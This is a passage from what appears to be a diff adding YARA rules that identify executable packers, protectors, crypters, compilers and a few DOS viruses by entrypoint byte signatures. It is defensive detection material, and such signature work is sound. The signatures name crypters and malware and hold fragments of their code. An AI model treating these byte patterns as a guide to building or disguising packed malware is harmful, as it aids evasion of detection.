+		$1 = {A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 FF 31 F6 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SecuPack_15_
+{
+	meta:
+		description = "SecuPack 1.5"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 00 E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 F0 33 C0 E8 46 EA FF FF 8B 45 F0 E8 D6 F2 FF FF 50 E8 0C FD FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_Protector_11X13X__Sukhov_Vladimir__Serge_N_Markin_
+{
+	meta:
+		description = "Enigma Protector 1.1X-1.3X -> Sukhov Vladimir & Serge N. Markin"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 00 10 40 00 E8 01 00 00 00 9A 83 C4 10 8B E5 5D E9}
+		$1 = {55 8B EC 83 C4 F0 B8 00 10 40 00 E8 01 00 00 00 9A 83 C4 10 8B E5 5D E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SPEC_b2_
+{
+	meta:
+		description = "SPEC b2"
+	strings:
+		$0 = {55 57 51 53 E8 00 00 00 00 5D 8B C5 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 09 89 85 ?? ?? ?? ?? 0F B6}
+		$1 = {55 57 51 53 E8 ?? ?? ?? ?? 5D 8B C5 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 09 89 85 ?? ?? ?? ?? 0F B6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Soft_Defender_v112_
+{
+	meta:
+		description = "Soft Defender v1.12"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 BE 01 00 00 03 C8 74 BD 75 BB E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Paint_Graphics_format_
+{
+	meta:
+		description = "Microsoft Paint Graphics format"
+	strings:
+		$0 = {4C 69 6E 53}
+	condition:
+		$0 at entrypoint
+}
+rule _SuperDAT_
+{
+	meta:
+		description = "SuperDAT"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 F3 42 00 68 A4 BF 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 08 F2 42 00 33 D2 8A D4 89 15 60 42 43 00 8B C8 81 E1 FF 00 00 00 89 0D}
+		$1 = {55 8B EC 6A FF 68 40 F3 42 00 68 A4 BF 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 08 F2 42 00 33 D2 8A D4 89 15 60 42 43 00 8B C8 81 E1 FF 00 00 00 89 0D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Pohernah_Crypter_V101__Kas_
+{
+	meta:
+		description = "Pohernah Crypter V1.0.1 -> Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 38 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 14 28 40 00 89 44 24 1C 61 FF E0}
+		$1 = {60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_Patch_or_any_Version_
+{
+	meta:
+		description = "Upack_Patch or any Version"
+	strings:
+		$0 = {60 E8 09 00 00 00 17 CD 00 00 E9 06 02}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_MSVCpp_70_DLL_Method_3__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake MSVC++ 7.0 DLL Method 3) -> emadicius"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MZ0oPE_106b__TaskFall_
+{
+	meta:
+		description = "MZ0oPE 1.0.6b --> TaskFall"
+	strings:
+		$0 = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3}
+		$1 = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3}
+		$2 = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4C 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3}
+		$3 = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _PseudoSigner_01_Pack_Master_10_PEX_Clone__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)] --> Anorganix"
+	strings:
+		$0 = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211d_
+{
+	meta:
+		description = "ASPack v2.11d"
+	strings:
+		$0 = {60 E8 02 00 00 00 CD 20 E8 00 00 00 00 5E 2B C9 58 74 02}
+	condition:
+		$0 at entrypoint
+}
+rule _ProPack_214_m1_COM_
+{
+	meta:
+		description = "ProPack 2.14 -m1 [COM]"
+	strings:
+		$0 = {83 EC 10 8B EC BE FA 02 FC E8 41 00 05 00 01 8B C8 E8 39 00 8B D0 03 C6 05 06 00 8B F8 E8 2D 00 AD 88 66 0A 32 E4 89 76 00 8B F7 03 C1 8B F8 3B FE 76 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeJoiner_10__Yoda_f2f_
+{
+	meta:
+		description = "ExeJoiner 1.0 -> Yoda f2f"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50}
+		$1 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00}
+		$2 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 B7 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1A 12 40 00 FF 35 08 12 40 00 E8 98 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 8B 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 34 12 40 00 FF 35 08 12 40 00 E8 6C 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 5F 02 00 00}
+		$3 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _PseudoSigner_01_XCR_011_
+{
+	meta:
+		description = "PseudoSigner 0.1 [XCR 0.11"
+	strings:
+		$0 = {60 8B F0 33 DB 83 C3 01 83 C0 01 E9}
+		$1 = {60 8B F0 33 DB 83 C3 01 83 C0 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_Microsoft_Visual_Basic_50__60_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Microsoft Visual Basic 5.0 - 6.0"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EPW_v12_
+{
+	meta:
+		description = "EPW v1.2"
+	strings:
+		$0 = {06 57 1E 56 55 52 51 53 50 2E ?? ?? ?? ?? 8C C0 05 ?? ?? 2E ?? ?? ?? 8E D8 A1 ?? ?? 2E}
+		$1 = {06 57 1E 56 55 52 51 53 50 2E ?? ?? ?? ?? 8C C0 05 ?? ?? 2E ?? ?? ?? 8E D8 A1 ?? ?? 2E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PuNkMoD_10__PuNkDuDe_
+{
+	meta:
+		description = "PuNkMoD 1.0 -> PuNkDuDe"
+	strings:
+		$0 = {94 B9 60 01 00 00 BC ?? ?? 40 00 80 34 0C ?? E2 FA EB DF}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_016b__0163b__defiler_
+{
+	meta:
+		description = "CodeCrypt 0.16b - 0.163b -> defiler"
+	strings:
+		$0 = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v107b_DLL__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.07b (DLL) -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5}
+	condition:
+		$0 at entrypoint
+}
+rule _KByS_V022__shoooo_
+{
+	meta:
+		description = "KByS V0.22 -> shoooo"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 ?? ?? ?? ?? E8}
+		$1 = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_v0896__v102__v105__v122_DLL_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22 DLL"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_DLL_LZMA__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 DLL [LZMA] -> BeRo / Farbrausch"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v03_
+{
+	meta:
+		description = "Krypton v0.3"
+	strings:
+		$0 = {8B 0C 24 E9 C0 8D 01 ?? C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__MASM32__TASM32_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)"
+	strings:
+		$0 = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE 58 80 EA 33 C1 E1 12 32 D3 48 80 C2 26 EB 02 CD 20 88 16 F7 D8 46 EB 01 C0 4B 40 8D 0D 00 00 00 00 3B D9 75 B7 EB 01 14 EB 01 0A CF C5 93 53 90 DA 96 67 54 8D CC ?? ?? 51 8E 18 74 53 82 83 80 47 B4 D2 41 FB 64 31 6A AF 7D 89 BC 0A 91 D7 83 37 39 43 50 A2 32 DC 81 32 3A 4B 97 3D D9 63 1F 55 42 F0 45 32 60 9A 28 51 61 4B 38 4B 12 E4 49 C4 99 09 47 F9 42 8C 48 51 4E 70 CF B8 12 2B 78 09 06 07 17 55 D6 EA 10 8D 3F 28 E5 02 0E A2 58 B8 D6 0F A8 E5 10 EB E8 F1 23 EF 61 E5 E2 54 EA A9 2A 22 AF 17 A1 23 97 9A 1C}
+		$1 = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Private_EXE_20a__22_
+{
+	meta:
+		description = "Private EXE 2.0a - 2.2"
+	strings:
+		$0 = {53 E8 00 00 00 00 5B 8B C3 2D 00 00 00 00 50 81 EB 06 10 40 00 8B 83 E7 10 40 00 81 38 64 A1 18 00 0F 85 A4 00 00 00 8D 83 23 11 40 00 50 FF 93 EB 10 40 00 0B C0 74 78 90 90 90 90 89 83 1F 11 40 00 8D 83 27 11 40 00 50 FF B3 1F 11 40 00 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_167_COM_
+{
+	meta:
+		description = "XPack 1.67 [COM]"
+	strings:
+		$0 = {E9 53 00 FF FD FF FB FF F9 FF BC 03 00 8B E5 4C 4C C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V07__cyberbob____20080312_
+{
+	meta:
+		description = "PESpin V0.7 -> cyberbob   * 20080312"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 ?? ?? ?? ?? ?? 5D 33 C9 41 E2 17 EB 07 ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 EB 04 ?? EB 04 00 EB FB FF 8B ?? ?? ?? ?? ?? 8B 42 3C 03 C2 89 ?? ?? ?? ?? ?? EB 01 ?? 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 ?? EB FB ?? 83 04 24 0C C3}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_102b_or_10803_
+{
+	meta:
+		description = "ASPack 1.02b or 1.08.03"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_DLL_compressed_resources_
+{
+	meta:
+		description = "EXECryptor 2.3.9 DLL (compressed resources)"
+	strings:
+		$0 = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9 ?? ?? ?? 00 BA ?? ?? ?? ?? E8 ?? ?? ?? 00 A3 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 C3 83 C4 04 C3 E9 ?? ?? ?? FF 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? FF C1 C2 03 81 CA ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 03 C2 5A E9 ?? ?? ?? FF 81 E7 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? 89 07 E9 ?? ?? ?? ?? 0F 89 ?? ?? ?? ?? 87 14 24 5A 50 C1 C8 10}
+		$1 = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9 ?? ?? ?? 00 BA ?? ?? ?? ?? E8 ?? ?? ?? 00 A3 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 C3 83 C4 04 C3 E9 ?? ?? ?? FF 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? FF C1 C2 03 81 CA ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 03 C2 5A E9 ?? ?? ?? FF 81 E7 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? 89 07 E9 ?? ?? ?? ?? 0F 89 ?? ?? ?? ?? 87 14 24 5A 50 C1 C8 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _kkryptor_8__rsc_
+{
+	meta:
+		description = "k.kryptor 8 -> r!sc"
+	strings:
+		$0 = {EB 6A 87 DB 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MingWin32_GCC_3x_
+{
+	meta:
+		description = "MingWin32 GCC 3.x"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 E8 ?? FE FF FF 90 8D B4 26 00 00 00 00 55}
+		$1 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? 40 00 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Pohernah_100__by_Kas_
+{
+	meta:
+		description = "Pohernah 1.0.0 - by Kas"
+	strings:
+		$0 = {58 60 E8 00 00 00 00 5D 81 ED 20 25 40 00 8B BD 86 25 40 00 8B 8D 8E 25 40 00 6B C0 05 83 F0 04 89 85 92 25 40 00 83 F9 00 74 2D 81 7F 1C AB 00 00 00 75 1E 8B 77 0C 03 B5 8A 25 40 00 31 C0 3B 47 10 74 0E 50 8B 85 92 25 40 00 30 06 58 40 46 EB ED 83 C7 28 49 EB CE 8B 85 82 25 40 00 89 44 24 1C 61 FF E0}
+		$1 = {58 60 E8 00 00 00 00 5D 81 ED 20 25 40 00 8B BD 86 25 40 00 8B 8D 8E 25 40 00 6B C0 05 83 F0 04 89 85 92 25 40 00 83 F9 00 74 2D 81 7F 1C AB 00 00 00 75 1E 8B 77 0C 03 B5 8A 25 40 00 31 C0 3B 47 10 74 0E 50 8B 85 92 25 40 00 30 06 58 40 46 EB ED 83 C7 28 49 EB CE 8B 85 82 25 40 00 89 44 24 1C 61 FF E0}
+		$2 = {58 60 E8 00 00 00 00 5D 81 ED 20 25 40 00 8B BD 86 25 40 00 8B 8D 8E 25 40 00 6B C0 05 83 F0 04 89 85 92 25 40 00 83 F9 00 74 2D 81 7F 1C AB 00 00 00 75 1E 8B 77 0C 03 B5 8A 25 40 00 31 C0 3B 47 10 74 0E 50 8B 85 92 25 40 00 30 06 58 40 46 EB ED 83 C7 28}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MEW_10__Northfox_
+{
+	meta:
+		description = "MEW 10 - Northfox"
+	strings:
+		$0 = {33 C0 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V1X_NoCompression_SecureEngine__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.X NoCompression SecureEngine -> Oreans Technologies"
+	strings:
+		$0 = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? ?? ?? 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? ?? ?? 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25}
+		$2 = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? ?? ?? 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
+rule _Virus_Self_Destructor_200_
+{
+	meta:
+		description = "Virus Self Destructor 2.00"
+	strings:
+		$0 = {BE 00 00 B9 4C 00 FC 2E 81 34 EA C7 AD 2E 81 34 7E 20 AD E2 F2 81 EE 86 01 1E 06 8E 06 2C 00 33 FF 33 C0 26 3A 05 74 07 B9 FF FF F2 AE EB F4 83 C7 03 8B D7 06 1F 1E 52 B8 00 3D CD 21 72 17 8B D8 B4 3F B9 18 00 0E 1F 56 8B FE 81 C6 9C 01 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_102b_
+{
+	meta:
+		description = "ASPack 1.02b"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5 2B 85 7D 7C 43 00 89 85 89 7C 43 00 80 BD 74 7C 43 00 00 75 15 FE 85 74 7C 43 00 E8 1D 00 00 00 E8 F7 01 00 00 E8 8E 02 00 00 8B 85 75 7C 43 00 03 85 89 7C 43 00 89 44 24 1C 61 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V039V0399__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.39-V0.399 -> Dwing * 20080321"
+	strings:
+		$0 = {58 8D 54 83 58 FF 16 72 4F 04 FD 1A D2 22 C2 3C 07 73 F6 50 0F B6 6F FF ?? ?? ?? 66 69 ED 00 03 8D AC AB 08 10 00 00 57 B0 01 E3 1F 2B 7B 08 84 0F 0F 95 C4 FE C4 8D 54 85 00 FF 16 12 C0 D0 E9 74 0E 2A E0 80 E4 01 75 E6 33 C9 B5 01 FF 56 50 33 C9 5F E9 F2 00 00 00 04 F9 1A C0 B1 30 24 03 8B 6B 08 04 08 03 D1 FF 16 73 42 03 D1 FF 16 72 14 03 D1 FF 16 72 24 0C 01 50 8B C7 2B 43 08 B1 80 8A 00 EB CE 83 C2 60 FF 16 87 6B 0C 73 0C 03 D1 FF 16 87 6B 10 73 03 87 6B 14 50 55 8D 93 78 07 00 00 FF 56 54 5D 91 E9 8F 00 00 00 48 87 6B 0C 50 87 6B 10 8D 93 C0 0B 00 00 89 6B 14 FF 56 54 6A 03 59 50 48 3B C1 72 02 8B C1 B1 40 F6 E1 8D AC 83 78 03 00 00 FF 56 4C 3C 04 8B E8 72 5A 33 ED D1 E8 83 D5 02 48 91 D3 E5 80 F9 05 8D 94 AB 78 01 00 00 76 2B 80 E9 04 33 C0 8B 53 FC D1 2B 8B 12 0F CA 2B 53 04 03 C0 3B 13 72 06 8B 13 40 01 53 04 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Trivial25_
+{
+	meta:
+		description = "Vx: Trivial.25"
+	strings:
+		$0 = {B4 4E FE C6 CD 21 B8 ?? 3D BA ?? 00 CD 21 93 B4 40 CD}
